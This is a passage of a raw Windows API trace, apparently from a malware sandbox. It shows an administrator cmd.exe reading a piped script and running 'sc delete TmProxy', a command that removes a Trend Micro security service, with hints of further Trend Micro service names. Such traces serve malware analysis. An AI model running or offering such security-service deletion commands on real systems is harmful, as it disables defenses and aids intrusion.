lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.416] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.417] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.417] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.417] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.417] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.417] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.417] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.417] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.417] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="Tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.417] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.417] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.417] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.417] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="mlisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.417] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.417] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.417] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.417] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="Pisten\nnService\ne\n\n\nA\"\n") returned 1 [0079.417] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.417] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.417] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.417] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="rsten\nnService\ne\n\n\nA\"\n") returned 1 [0079.417] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.417] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.417] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.418] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="oten\nnService\ne\n\n\nA\"\n") returned 1 [0079.418] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.418] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.418] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.418] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="xen\nnService\ne\n\n\nA\"\n") returned 1 [0079.418] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.418] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.418] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.418] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="yn\nnService\ne\n\n\nA\"\n") returned 1 [0079.418] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.418] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.418] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.418] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.418] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.418] GetFileType (hFile=0xb8) returned 0x3 [0079.418] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.418] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.418] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.418] GetFileType (hFile=0x120) returned 0x3 [0079.418] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmProxy\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmProxy\n", lpUsedDefaultChar=0x0) returned 19 [0079.418] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x12, lpOverlapped=0x0) returned 1 [0079.418] GetProcessHeap () returned 0x240000 [0079.419] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0079.419] GetProcessHeap () returned 0x240000 [0079.419] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0079.419] GetProcessHeap () returned 0x240000 [0079.419] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0079.419] GetProcessHeap () returned 0x240000 [0079.419] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0079.419] GetProcessHeap () returned 0x240000 [0079.419] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x256510 [0079.419] GetConsoleOutputCP () returned 0x1b5 [0079.419] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.419] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.419] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.419] GetProcessHeap () returned 0x240000 [0079.419] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0079.419] GetProcessHeap () returned 0x240000 [0079.420] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x256550 [0079.420] GetProcessHeap () returned 0x240000 [0079.420] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0079.420] SetErrorMode (uMode=0x0) returned 0x1 [0079.420] SetErrorMode (uMode=0x1) returned 0x0 [0079.420] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0079.420] SetErrorMode (uMode=0x1) returned 0x1 [0079.420] GetProcessHeap () returned 0x240000 [0079.420] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0079.420] GetProcessHeap () returned 0x240000 [0079.420] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0079.420] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.420] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0079.420] GetProcessHeap () returned 0x240000 [0079.420] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0079.420] GetProcessHeap () returned 0x240000 [0079.420] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0079.420] GetProcessHeap () returned 0x240000 [0079.420] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0079.420] GetProcessHeap () returned 0x240000 [0079.420] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0079.420] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.420] GetProcessHeap () returned 0x240000 [0079.420] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0079.420] GetProcessHeap () returned 0x240000 [0079.420] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0079.421] GetProcessHeap () returned 0x240000 [0079.421] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0079.421] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.421] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.421] GetLastError () returned 0x2 [0079.421] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.421] GetLastError () returned 0x2 [0079.421] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.421] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.421] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.421] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.421] GetLastError () returned 0x2 [0079.422] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0079.422] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0079.422] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.422] GetProcessHeap () returned 0x240000 [0079.422] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0079.422] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.422] GetProcessHeap () returned 0x240000 [0079.422] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9c) returned 0x259180 [0079.422] GetProcessHeap () returned 0x240000 [0079.422] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9c [0079.422] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmProxy") returned 1 [0079.423] GetProcessHeap () returned 0x240000 [0079.423] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0079.423] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0079.423] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0079.423] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0079.423] GetProcessHeap () returned 0x240000 [0079.423] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0079.423] GetProcessHeap () returned 0x240000 [0079.423] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0079.423] GetProcessHeap () returned 0x240000 [0079.423] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0079.423] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmProxy", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmProxy", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete TmProxy", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x984, dwThreadId=0x9b4)) returned 1 [0079.427] CloseHandle (hObject=0x54) returned 1 [0079.427] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.427] GetProcessHeap () returned 0x240000 [0079.427] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0079.427] GetEnvironmentStringsW () returned 0x261b10* [0079.427] GetProcessHeap () returned 0x240000 [0079.427] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0079.427] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.427] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0079.427] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd8000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0079.427] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0079.473] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0079.473] CloseHandle (hObject=0x50) returned 1 [0079.473] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0079.473] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0079.473] GetProcessHeap () returned 0x240000 [0079.473] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.473] GetEnvironmentStringsW () returned 0x261b10* [0079.473] GetProcessHeap () returned 0x240000 [0079.473] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0079.473] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.473] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0079.473] GetProcessHeap () returned 0x240000 [0079.473] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.473] GetEnvironmentStringsW () returned 0x261b10* [0079.473] GetProcessHeap () returned 0x240000 [0079.473] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0079.473] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.473] GetProcessHeap () returned 0x240000 [0079.473] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0079.473] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0079.473] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.474] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.474] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0079.474] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.474] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0079.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.474] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0079.474] GetConsoleOutputCP () returned 0x1b5 [0079.474] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.475] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.475] GetProcessHeap () returned 0x240000 [0079.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0079.475] GetProcessHeap () returned 0x240000 [0079.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0079.475] GetProcessHeap () returned 0x240000 [0079.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0079.475] GetProcessHeap () returned 0x240000 [0079.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0079.475] GetProcessHeap () returned 0x240000 [0079.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0079.475] GetProcessHeap () returned 0x240000 [0079.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0079.475] GetProcessHeap () returned 0x240000 [0079.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0079.475] GetProcessHeap () returned 0x240000 [0079.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0079.475] GetProcessHeap () returned 0x240000 [0079.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0079.475] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0079.475] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.475] GetFileType (hFile=0x120) returned 0x3 [0079.475] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.475] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0079.476] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.476] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.476] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.476] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0079.476] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.476] GetFileType (hFile=0x120) returned 0x3 [0079.476] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.476] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0079.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.476] GetFileType (hFile=0xb8) returned 0x3 [0079.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.476] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.476] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.476] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.476] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0079.476] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.477] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.477] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.477] MultiByteToWideChar 